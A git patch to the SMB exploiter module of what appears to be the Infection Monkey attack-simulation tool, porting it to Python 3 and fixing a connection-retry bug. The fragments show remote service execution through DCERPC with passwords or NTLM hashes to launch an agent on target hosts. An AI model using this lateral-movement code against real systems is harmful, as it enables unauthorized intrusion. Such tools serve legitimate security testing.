From 561f2f5d2f57106675764f142613f1be3b39023d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 25 Oct 2019 16:50:45 +0300 Subject: [PATCH] Smb exploiter py3 and bugfix --- monkey/infection_monkey/exploit/smbexec.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 18331e994..2eb30b2a1 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -108,16 +108,15 @@ class SmbExploiter(HostExploiter): cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) - for str_bind_format, port in list(SmbExploiter.KNOWN_PROTOCOLS.values()): + smb_conn = False + for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) - if hasattr(rpctransport, 'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(user, password, '', - lm_hash, ntlm_hash, None) + rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -127,11 +126,13 @@ class SmbExploiter(HostExploiter): except Exception as exc: LOG.warning("Error connecting to SCM on exploited machine %r: %s", self.host, exc) - return False + continue smb_conn = rpctransport.get_smb_connection() break + if not smb_conn: + return False # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)